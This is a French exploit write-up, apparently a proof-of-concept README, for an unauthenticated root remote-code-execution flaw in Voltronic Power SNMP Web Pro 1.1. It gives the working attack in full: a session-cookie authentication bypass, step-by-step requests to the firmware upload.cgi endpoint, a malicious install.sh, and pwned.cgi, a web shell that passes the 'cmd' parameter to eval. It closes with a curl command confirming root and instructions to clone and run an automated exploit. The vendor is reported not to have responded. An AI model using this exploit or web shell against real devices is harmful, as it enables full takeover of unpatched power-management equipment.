
Exécution de commandes à distance avec les privilèges root complets, sans authentification préalable, dans Voltronic Power SNMP Web Pro 1.1
Exécution de commandes à distance totale sans authentification dans Voltronic Power SNMP Web Pro 1.1
SNMP Web Pro 1.1 contient une vulnérabilité d'exécution de code à distance non authentifiée dans le point de terminaison upload.cgi. La fonctionnalité de mise à jour du firmware permet aux utilisateurs de téléverser une archive tar, qui est ensuite extraite et installée sans aucune validation des entrées ni contrôle de sécurité. L'application ne restreint ni n'assainit le contenu de l'archive, de sorte qu'un attaquant peut téléverser une archive contrefaite contenant des scripts CGI malveillants. Avec un peu d'essais et d'erreurs - et beaucoup d'aide des informations que chaque réponse divulgue - il est possible de déterminer le format exact d'archive attendu et d'en créer une malveillante.
De plus, le point de terminaison ne valide pas correctement l'authentification : fournir un cookie de session manipulé ou invalide suffit pour contourner les contrôles d'accès et atteindre la fonctionnalité vulnérable sans identifiants valides, même si le front-end exige clairement une connexion pour l'utiliser.
Une exploitation réussie permet à un attaquant de placer des fichiers exécutables arbitraires dans le répertoire du serveur CGI et d'exécuter des commandes avec les privilèges root.
git clone https://github.com/Virgula0/CVE-2026-44402 && cd CVE-2026-44402
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python3 poc.py
Tout ce qui suit a été réalisé contre une instance locale (http://localhost:5555). Deux éléments rendent cet exercice trivial dès le départ :
Cookie: -http-session-=NOT_VALID suffit pour chaque requête - le paramètre de requête sid est une valeur aléatoire générée par le JavaScript du front-end et est, lui aussi, ignoré par le serveur.Les étapes ci-dessous suivent cette boucle. Les requêtes sont réduites aux en-têtes minimum dont le serveur a réellement besoin.
La toute première requête nous dit déjà où le serveur s'attend à trouver l'archive du firmware. Notez que params=extract demande au CGI d'extraire une archive, non d'en recevoir une : rien n'a encore été téléversé, le point de terminaison essaie simplement de décompresser ce qu'il s'attend à trouver sur le disque.
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
Réponse :
HTTP/1.1 503 Service Unavailable
Set-Cookie: -http-session-=6285::http.session::c554063a20f58778321bde709c8b5b88; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:03:21 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 124
tar: can't open '/root/upgrade.tar.gz': No such file or directory
Content-Type:text/html;charset=UTF-8
upgrade=extract
(NAK
Le corps est une mine d'or. Outre le (NAK (accusé de réception négatif) nous indiquant que l'opération a échoué, la sortie brute du binaire tar est intégrée textuellement dans la réponse : il essaie d'extraire /root/upgrade.tar.gz. Notons également le chemin d'installation cible /root - nous parlons à un processus privilégié.
Deux faits pour le plan d'exploitation :
upgrade.tar.gz et déposé dans /root. Le nom de notre fichier n'a pas d'importance.D'abord, créez une archive tar factice (le téléversement est une requête POST multipart ; sa trace n'est pas intéressante - ce sont les appels GET qui pilotent tout le comportement) :
tar czvf test.tar.gz test.txt
test.txt
Commencez le cycle : téléversez l'archive, puis extrayez-la :
GET /cgi-bin/upload.cgi?name=upgrade&?params=extract&?sid=0.7550163503158914 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6287::http.session::11fcdf2cb70f9c5eb9156351f1c99a19; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:08:01 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=extract
(ACK
(ACK - l'extraction s'est déroulée sans aucune plainte. Le cycle (téléversement -> extraction -> installation) est la forme de toute cette exploitation ; à partir d'ici, seule l'étape d'installation change, donc les prochaines traces ne montrent que la ligne de requête et le corps de la réponse (les en-têtes restent identiques à ceux ci-dessus).
upgradeL'extraction fonctionne, place à l'installation. La réponse diffère comme prévu :
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6315::http.session::813a6112002ec3f3ca149abe514cfba9; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:15:42 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 63
upgrade=install
(ACKsh: cd: line 1: can't cd to /root/upgrade*
Encore un (ACK, mais les restes d'une commande shell transparaissent : cd: line 1: can't cd to /root/upgrade*. L'installeur exécute un shell arbitraire - il essaie de faire un cd dans un glob qui se développe en un dossier nommé upgrade à l'intérieur de l'archive extraite. Notre innocente archive plate (test.txt à la racine) ne satisfait pas le glob. Correctif simple : réempaqueter avec un répertoire upgrade/ de premier niveau.
mkdir upgrade && cd upgrade && touch test.txt
tar czvf test.tar.gz upgrade
upgrade/
upgrade/test.txt
Puis répétez les deux premières étapes du cycle : téléversez à nouveau, extrayez à nouveau.
install.shMême appel d'installation, et la fuite est encore plus intéressante :
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6318::http.session::3e74062cf64c49f5ef94905347698a71; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:19:52 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 65
upgrade=install
(ACKchmod: install.sh: No such file or directory
Il fait un chmod sur un script appelé install.sh - ce qui signifie que la procédure d'installation exécute un script shell de l'archive, en tant que root. À ce stade, nous contrôlons chaque fichier de l'archive, donc nous contrôlons ce script. C'est toute la vulnérabilité en une ligne : des fichiers arbitraires, exécutés avec les privilèges root, sans aucune authentification.
Construisez install.sh et pwned.cgi dans le répertoire upgrade/ (les deux fichiers sont également fournis dans le dossier upgrade/ de ce dépôt).
install.sh prépare l'arborescence pour que notre script soit déposé dans le répertoire CGI de la racine web, puis corrige les permissions :
cat upgrade/install.sh
#!/bin/sh
current="$PWD"
show=$(ls -la /root/upgrade 2>/dev/null)
ww=$(whoami)
# Write debug info with proper formatting
printf "%s\n%s\n%s\n" "$current" "$show" "$ww" > /var/www/html/web_pages/pwned.txt
# Copy the cgi script correctly
cp pwned.cgi /var/www/html/web_pages/cgi-bin/pwned.cgi
# Set permissions
chmod 755 /var/www/html/web_pages/cgi-bin/pwned.cgi
pwned.cgi est un CGI minimaliste de répartition de commandes : il prend le paramètre de requête cmd, le décode en URL et le transmet à eval. C'est le shell distant :
cat upgrade/pwned.cgi
#!/bin/sh
echo "Content-Type: text/plain"
echo ""
# Get the query string (everything after the '?')
QUERY_STRING="$QUERY_STRING"
# Extract the 'cmd' parameter value
# This simple parser works for cmd=something
CMD=$(echo "$QUERY_STRING" | sed -n 's/.*cmd=\([^&]*\).*/\1/p' | sed 's/+/ /g')
# URL decode (basic: replace %20 with space, etc.)
CMD=$(echo "$CMD" | sed 's/%20/ /g; s/%2F/\//g; s/%2D/-/g; s/%5F/_/g')
if [ -z "$CMD" ]; then
echo "No cmd parameter provided."
exit 0
fi
# Execute the command and return its output
eval "$CMD" 2>&1
Réempaquetez l'archive :
tar czvf test.tar.gz upgrade
upgrade/
upgrade/install.sh
upgrade/pwned.cgi
Et exécutez le cycle complet une dernière fois :
GET /cgi-bin/upload.cgi?name=upgrade&?params=install&?sid=0.9147371483360756 HTTP/1.1
Host: localhost:5555
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Cookie: -http-session-=NOT_VALID
HTTP/1.1 200 OK
Set-Cookie: -http-session-=6321::http.session::ec3ba9c0e3c14b9eb2403c1d211bf968; path=/
X-Frame-Options: SAMEORIGIN
Content-Type: text/html;charset=UTF-8
X-Content-Type-Options: nosniff
Date: Sat, 18 Apr 2026 21:22:31 GMT
ETag: "67d-a5dc-5b87451f"
Cache-Control: no-cache="set-cookie"
X-XSS-Protection: 1; mode=block
Connection: close
Accept-Ranges: bytes
Content-Length: 20
upgrade=install
(ACK
Un (ACK propre sans erreur divulguée cette fois : l'installeur a exécuté notre script sans se plaindre, et pwned.cgi devrait maintenant se trouver dans le répertoire CGI. Un simple whoami le confirme (mettez l'URL entre guillemets - ; est un séparateur de shell, et l'analyseur CGI s'étouffe avec) :
curl 'http://localhost:5555/cgi-bin/pwned.cgi?cmd=whoami%3Buname+-a'
root
Linux SNMP-System 2.6.35.3-670-g914558e-g858a882 #1 PREEMPT Mon Sep 26 16:39:15 CST 2016 armv5tejl GNU/Linux
Root, sur l'ARM Linux de l'appareil. De zéro identifiant à un shell root, tout le trajet n'a nécessité que les deux fuites ci-dessus et une archive tar.

Non, le fournisseur n'a pas encore fourni de réponse. Utilisez un proxy inverse ngnix avec authentification pour protéger la cible.
poc.py automatise le cycle manuel 1:1. create_in_memory_tar_archive() construit l'archive de l'étape 5 en mémoire (install.sh + une variante POST de pwned.cgi), puis upload_archive(), extract_firmware() et install_firmware() rejouent les étapes 2 à 4, verify_exploit_uploaded() attend que le CGI apparaisse, et spawn_non_interactive_shell() vous place dans une invite >>> dont les commandes sont encodées en base64 et envoyées via POST à pwned.cgi.